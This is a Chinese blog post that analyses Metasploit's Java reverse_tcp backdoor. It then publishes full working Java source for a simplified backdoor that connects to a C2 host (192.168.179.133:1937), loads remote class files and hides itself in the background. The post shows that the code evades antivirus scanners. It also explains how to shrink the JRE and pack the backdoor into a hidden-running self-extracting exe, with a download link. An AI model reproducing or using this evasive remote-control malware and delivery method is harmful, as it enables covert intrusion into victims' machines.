【Java編程實戰】Metasploit_Java後門運行原理分析以及實現源碼級免殺與JRE精簡化

QQ:3496925334
文章作者:MG1937
CSDN博客ID:ALDYS4
未經許可,禁止轉載

某日午睡,迷迷糊糊夢到Metasploit裏有個Java平臺的遠控載荷,夢醒後,打開虛擬機,在框架中搜索到了這個載荷

0x01 運行原理分析

既然是Java平臺的程序,JD-GUI等反編譯工具自然必不可少
先利用msfvenom輸出一個java_payload
在這裏插入圖片描述在Jar的簽名文件中找到加載入口
metasploit.Payload
在這裏插入圖片描述
跟進類文件的主函數入口
在這裏插入圖片描述
可以看到main方法一開始就初始化了一個Properties類,根據官方文檔介紹,該實例可以根據指定的鍵從文件或字符串中提取其值
接下來一個str1成員獲取了其所在類的類名,記住這個str1成員,在代碼下文中會運用到這個變量
接着inputstream成員獲取了自身jar文件中的metasploit.dat文件的流
並且讓一開始就初始化的Properties對象調用load方法加載了這個文件的內容,所以可以猜測該文件中應該包含着關鍵信息

查看文件內容
在這裏插入圖片描述
可以看到該文件中包含三個鍵與值,其中兩個鍵是需要反彈的目標地址

明晰了文件內容後繼續向下查看代碼
在這裏插入圖片描述
首先str2變量獲取了metasploit.dat文件中鍵爲Executable的值,通過查看文件可知並無此鍵,所以跳過第一個分支,直接向下執行
接着成員i獲取了文件中鍵爲Spawn的值,文件中該值爲2,程序在判斷該值大於0後進入分支
可知該分支內程序將成員i的值減去1後重寫入了原Spawn
,請記住這兩個不起眼的操作,至於爲什麼要這麼執行,在下文中會詳細解釋
繼續執行,成員file1創建了一個臨時文件,緊接着程序在刪除了這個臨時文件後又藉助file1創建臨時文件時得到的路徑接連實例化三個File類,並預先傳入要輸出的位置,其中file4就包含了上文中出現的str1變量(Payload類的文件名),接着程序創建了該路徑所在的文件夾.
從上面這一系列操作不難猜出載荷作者可能是要在臨時路徑中釋放載荷文件.
接下來程序接連將自身類實例,str1與file4傳入writeEmeddedFile方法

跟進方法
在這裏插入圖片描述
大致瀏覽代碼可知該方法的作用是獲取自身Jar文件中的資源並輸出到指定文件夾中
從上文中可知程序將自身Payload.class文件輸出到了臨時文件夾中

繼續閱讀代碼
在這裏插入圖片描述程序實例化了FileOutputStream對象,並傳入了file3成員,也就是臨時文件夾中metasploit.dat應該輸出的位置
接着Properties對象將會把已讀取到的鍵與值寫入該路徑中
繼續執行,先查看圖中第四處紅線標記處,其中getJreExecutable方法是用來獲取環境變量中java.exe的文件路徑,若環境變量中不存在JDK或JRE路徑,則獲取執行載荷時所用的java.exe所在路徑
也就是說,該處紅線處程序通過實例化Runtime對象並利用java.exe重新執行了已經輸出在臨時文件夾中的Payload.class文件
執行完成之後程序將休眠2秒,接着刪除臨時文件夾中的所有文件
程序到這裏就執行結束了,不會進入到下面的那個分支,main方法中的所有代碼已經全部執行完畢了

WTF?WTF?這不是遠控載荷嗎?反彈shell的步驟呢?不要說什麼反彈shell了,連個Socket連接都沒建立呢!
先別急,這就是展現載荷作者編寫惡意軟件時的巧妙之處了,設想一下,在Java程序中若直接建立Socket連接的話,控制檯就會一直顯示在前臺等待,直到連接建立成功或連接超時時才退出程序,這樣的話就不能使得程序不可見並隱蔽到後臺
查看上文,其中一個操作是調用Runtime對象並利用java.exe重新執行已經輸出在臨時文件夾中的Payload.class文件,
調用Runtime執行該class文件時程序並不會因爲這個被重新執行的class文件還未運行完成而一直在前臺等待直到它運行結束,那麼說了這麼多,載荷作者到底想要怎麼做是不是已經有點頭緒了

先回顧一下上文中的一段代碼
在這裏插入圖片描述
還記得上文中提到的兩個不起眼的操作麼?調用Properties對象獲取Spawn鍵中的值,並判斷值是否大於0,若大於0就將獲取的值減一再重新寫進Spawn鍵,換句話說,每次Spawn大於0時,程序向下執行,最終這個class文件就會被重新執行一遍,而Spawn鍵中的值就會減小並再次寫進臨時文件夾中,最終鍵值等於0時就會進入判斷的另一個分支

跟進另一個判斷分支
在這裏插入圖片描述
可以看到在判斷的另一個分支內,程序使得成員j和成員str4分別調用Properties對象獲取了鍵LPORT與LHOST的值
程序向下執行,直接進入圖中正下方紅線標記處的else分支,可以看到程序通過實例化Socket類向指定上線地址建立套接字,
並將套接字IO流賦予成員inputStream1與outputStream

程序繼續在分支中向下執行
在這裏插入圖片描述
通過紅線標記處可知套接字IO流最終被傳入bootstrap方法

跟進方法
在這裏插入圖片描述
如果有看過我上一篇分析Android後門的博文的話,到這裏就可以知道該Java後門仍然是利用動態加載遠程發送的class文件的方式執行C2地址下達的指令的
【逆向&編程實戰】Metasploit安卓載荷運行流程分析_復現meterpreter模塊接管shell
新瓶裝老酒,看圖中紅線標記處,成員i首先調用readInt方法讀取IO流中C2地址向受控端發送的int數據,該段數據就是C2地址發送的class文件的長度,
可以看到第二處紅線標記處的arrayOfByte成員實例化byte對象並將class文件總長度傳入,繼續向下執行,程序調用resolveClass方法將遠程發送來的class文件作爲對象以實例化成員clazz,最終clazz調用getMethod方法獲取對象中的start方法並傳入套接字IO流後執行該方法.

至此,Java後門代碼分析完畢,我畫了一張圖來再次簡要表述一下後門的運行流程
在這裏插入圖片描述接下來我將對分析出的運行流程進行驗證
打開Eclipse,將JD-GUI反編譯出的Java代碼直接複製進集成環境中,其中一些因爲反編譯工具缺陷而出現的語法錯誤稍微進行修正就可以正常執行了

在這裏插入圖片描述
先將其中對臨時文件進行刪除的代碼註釋掉,並在成員file1創建臨時文件之後打印出臨時文件所在路徑
在這裏插入圖片描述
運行程序,可見控制檯打印出了臨時文件夾的路徑

跟進
在這裏插入圖片描述
可見臨時文件夾被創建了兩次,其中一個文件夾就是因爲Spawn值大於0而使得自身class文件被重新執行而創建的
在這裏插入圖片描述
打開其中一個文件夾中的metasploit.dat文件,可以看到其Spawn值已經不大於0,此時程序就跳進了下一個分支並向C2地址建立了連接
在這裏插入圖片描述
繼續修改代碼,可見bootstrap方法中紅線標記處,此處就是我另外修改的地方,瀏覽代碼上下文可知我將C2地址發送到受控端的class文件輸出在桌面下

反編譯該class文件
在這裏插入圖片描述
在這裏插入圖片描述
大致瀏覽代碼可知該class文件中的start方法充當一個仍然以動態加載class文件的方式充當接收器的作用

以這種方法向目標建立連接以及加載class文件,Java後門就能被隱藏在用戶不可見的後臺中
同時這種遠程接收class文件並動態加載來達到遠控的方法遠不同於其它市面上的遠控軟件,其它間諜軟件無非是將控制功能寫在受控端,而C2地址去下達指令調用寫在受控端中的代碼,這樣的代碼不僅不利於維護,靈活性還極差,而MSF的後門工具則完全相反,動態加載的方法可以說是一勞永逸,代碼維護只需在C2地址上進行,用戶還可以自行構造class文件以進行更高層次的操作,在這裏不得不佩服Metasploit團隊編寫代碼和最大限度壓縮惡意軟件體積的能力與實力

0x02 實現源碼級免殺

既然手裏已經有了通過反編譯得到的Java後門的源碼,那麼實現免殺就更輕而易舉,
有了上一次免殺Android後門的經驗,只需要對源碼合理變動,就能繞過大部分殺軟的特徵檢測了

既然運行原理已經熟知,這裏首先就對後門進行最簡化

注意:若仔細看過Java後門的代碼,會發現MSF團隊不僅僅考慮了Windows系統,也考慮到了在linux平臺上進行遠控的場景
代碼不僅包含了以reverse_tcp模式加載的後門代碼,也包含了對其他模式進行加載的代碼(如bind_tcp,reverse_http等等)
所以代碼中有大量對操作系統和載荷加載模式進行判斷的操作,在本文中並不詳細介紹這類方法
而本文的分析僅僅針對對Windows系統和reverse_tcp模式
所以這裏簡化的代碼也僅僅針對此係統和此模式
在這裏插入圖片描述
上圖就是我簡化後的代碼,流程更加簡明,僅僅兩步
建立對C2地址的套接字並獲取IO流,傳入bootstrap方法動態加載遠程發送的文件
整個流程僅僅38行代碼,僅引入4個包
而原載荷中大致有270行代碼,引入23個包

運行簡化後的代碼,meterpreter成功接收到了反彈

import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Main extends ClassLoader {
public static void main(String[] paramArrayOfString) throws Exception {
		getShell();
	}
public static void getShell() throws Exception {
	  InputStream inputStream1 = null;
	  OutputStream outputStream = null;
      int j = new Integer("1937").intValue();
      String str4 = "192.168.179.133";
      Socket socket = null;
      if (str4 != null) {
        socket = new Socket(str4, j);
      }
      inputStream1 = socket.getInputStream();
      outputStream = socket.getOutputStream();
      (new Main()).bootstrap(inputStream1, outputStream);
}
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
    try {
      Class clazz;
      DataInputStream dataInputStream = new DataInputStream(paramInputStream);
        int i = dataInputStream.readInt();
        do {
          byte[] arrayOfByte = new byte[i];
          dataInputStream.readFully(arrayOfByte);
          resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));
          i = dataInputStream.readInt();
        } while (i > 0);
      Object object = clazz.newInstance();
      clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });
    } catch (Throwable throwable) {
    } 
  }
}

不過這種執行方法不能將程序隱藏到後臺

所以繼續進行改進
在這裏插入圖片描述
新改進後的代碼一共87行,引入7個包
通過瀏覽上圖代碼可知,我僅僅在執行getShell方法之前進行了一個判斷
運行流程與原載荷大致相同,所以這裏不做介紹,直接放代碼

import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Main extends ClassLoader {
private static final String JAVA = System.getProperty("java.home") + "/bin/java.exe";
  public static void main(String[] paramArrayOfString) throws Exception {
	  runInBackground();
  }
  public static void runInBackground() throws Exception {
	  Class clazz=Main.class;
	  File file1 = File.createTempFile("~spawn", ".tmp");
      file1.delete();
      File file2 = new File(file1.getAbsolutePath() + ".dir");
      file2.mkdir();
      File file3=new File(file2,clazz.getName().replace(".", "/")+".class");
      File file4=new File(file2,"config");
      if(readFile(Main.class, "config").equals("1")) {
    	  writeFile(null, "config", file2,false,"0");
    	  writeFile(clazz, clazz.getName().replace(".", "/")+".class", file2, true, null);
      }
      else {getShell();}
      Runtime.getRuntime().exec(new String[] { JAVA, "-classpath", file2.getAbsolutePath(), clazz.getName() });
      Thread.sleep(2000L);
      File[] files= {file3,file4,file2};
      for(File f:files) {f.delete();}
}
  public static void writeFile(Class clazz,String name,File dir,boolean ifIsfile,String config) throws IOException {
	InputStream inputStream=null;
	if(ifIsfile) {inputStream=clazz.getResourceAsStream("/"+name);}
	File file=new File(dir,name);
	file.getParentFile().mkdirs();
	FileOutputStream fileOutputStream=new FileOutputStream(file);
	byte[] b=new byte[4096];
	if(ifIsfile) {
		int i;
	while((i=inputStream.read(b))!=-1) {
		fileOutputStream.write(b, 0, i);
	}
	}else {
	fileOutputStream.write(config.getBytes());
	}
	if(inputStream!=null)inputStream.close();
	fileOutputStream.close();
}
  public static String readFile(Class clazz,String name) throws IOException {
	InputStream inputStream=clazz.getResourceAsStream("/"+name);
	StringBuffer str = new StringBuffer();
	byte[] b=new byte[1024];
	int i;
	while((i=inputStream.read(b))!=-1) {
		str.append(new String(b,0,i));
	}
	inputStream.close();
	return str.toString();}
  public static void getShell() throws Exception {
	  InputStream inputStream1 = null;
	  OutputStream outputStream = null;
      int j = new Integer("1937").intValue();
      String str4 = "192.168.179.133";
      Socket socket = null;
      if (str4 != null) {
        socket = new Socket(str4, j);
      }
      inputStream1 = socket.getInputStream();
      outputStream = socket.getOutputStream();
      (new Main()).bootstrap(inputStream1, outputStream);}
  private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
    try {
      Class clazz;
      DataInputStream dataInputStream = new DataInputStream(paramInputStream);
        int i = dataInputStream.readInt();
        do {
          byte[] arrayOfByte = new byte[i];
          dataInputStream.readFully(arrayOfByte);
          resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));
          i = dataInputStream.readInt();
        } while (i > 0);
      Object object = clazz.newInstance();
      clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });
    } catch (Throwable throwable) {
    } 
  }
}

接着上傳到微步和在線殺毒網站進行測試
在這裏插入圖片描述
微步沙箱檢測鏈接

在這裏插入圖片描述
virscan在線殺毒檢測鏈接
可以看到僅僅簡化代碼後免殺效果就已經非常理想了

0x03 JRE精簡化_將免殺後的代碼打包爲exe文件

總所周知,Java是一款跨平臺語言,不論是在Windows平臺還是Linux平臺,jar文件都可以在相應環境下運行
但換句話說,即使是隻執行一句HelloWorld,java程序都離不開近乎200MB的jre環境,如果只是執行這樣一個後門程序就需要如此之大的環境是不可能的,對於普通用戶來說這也顯示出Java的不便和臃腫
但即使是這樣Java仍然是我的女朋友(池沼)

在沒有安裝jre環境的普通用戶來說,顯然帶着整個jre和後門一起打包是不可能的了,
但我們可以只從jre中提取加載後門時需要用到的class文件,並集合到一起,這樣就能大大壓縮jre的體積

在這裏插入圖片描述
如圖所示,java中夾帶-XX:+TraceClassLoading參數即可列出所有被加載過的class文件,也就是說,只要提取出這部分class文件,就可以滿足加載後門程序的需求了

在這裏插入圖片描述
這是jar中的部分命令,其中-x-c參數可以實現我們的目的

jre中的rt.jar包含了程序員編寫程序時所有最常用的類文件,所有我們僅僅需要從這個jar包中提取需要的class文件即可

在這裏插入圖片描述
如圖,我做了個輪子來提取rt.jar中的文件,就簡單的四步
在這裏插入圖片描述
實現代碼

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;

import javax.sound.sampled.LineListener;

public class Main {
public static void main(String[] arg) throws IOException {
	Runtime runtime=Runtime.getRuntime();
	String[] command={"java","-jar","-XX:+TraceClassLoading","C:\\Users\\Administrator\\Desktop\\msf.jar"};
	Process process=runtime.exec(command);
	BufferedReader bReader=new BufferedReader(new InputStreamReader(process.getInputStream()));
	StringBuffer sBuffer=new StringBuffer();
	List<String> list=new ArrayList<String>();
	int i =0;
	String lineString;
	while((lineString=bReader.readLine())!=null)
		{
			sBuffer.append("\n"+getCore(lineString));
			list.add(getCore(lineString.replace(".", "/")));
			i++;
		}
	bReader.close();
	System.out.println(sBuffer.toString());
	list.add(0,"C:\\Program Files\\Java\\jdk1.8.0_131\\jre\\lib\\rt.jar");
	list.add(0,"xvf");
	list.add(0,"jar");
	String[] jar=list.toArray(new String[list.size()]);
	process=runtime.exec(jar);
	getOutput(process);
	System.out.println("Load class:" + i );
	System.out.println("jar xvf done!");
	String[] cmdJarPackage=cmd("jar cvf rt.jar com java javax META-INF org sun sunw");
	runtime.exec(cmdJarPackage);
	System.out.println("All done!");
}
public static String getCore(String line)
{
	String result = null;
	if (line.startsWith("[Loaded")) {
		//if (line.split(" ")[1].startsWith("java"))//jdk,java,sun.com
		if(true)
		{
			result = line.split(" ")[1];
		}
		else {
			result = "";
		}
		return result;
	}
	else {
		return "";
	}	
}public static String[] cmd(String cmd) {
	return cmd.split(" ");
	
}
public static void getOutput(Process process) throws IOException 
{
	BufferedReader bReader=new BufferedReader(new InputStreamReader(process.getInputStream()));
	while(bReader.readLine()!=null) 
	{
		System.out.println("\n" + bReader.readLine());
	}
}
}

因爲-XX:+TraceClassLoading參數只能列出被加載的class文件,所以我需要將不能隱藏到後臺的後門程序和完善後的後門程序一個個運行,
並且運行其中一些後門功能才能算列出足以滿足後門運行需求的class文件
在這裏插入圖片描述
這是未完善的後門程序
在這裏插入圖片描述
這是可以隱藏到後臺的程序

將這些加載後的class文件合併爲rt.jar
複製jre環境,替換掉其中的rt.jar,一步步測試後門能否運行,若不能運行,則與原jre環境中的rt.jar進行對照,一步步添加還可能需要用到的class文件,
這一步足足消耗了我一天多的時間
最後精簡化成果如下
在這裏插入圖片描述
在這裏插入圖片描述
在精簡化後jre的根目錄下放置後門jar和一個vbs文件,利用vbs來調用簡化後jre中的java.exe加載後門
在這裏插入圖片描述
利用winrar捆綁爲自解壓文件,選擇以完全隱藏的模式運行
在這裏插入圖片描述
可以看到壓縮後的exe文件僅僅有6MB左右,相比原200多兆的環境,這個簡化成功可謂相當不錯

簡化後的jre鏈接:
鏈接: https://pan.baidu.com/s/10F6dvbP-ipMhHcAgT-N2gA 提取碼: anf3

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章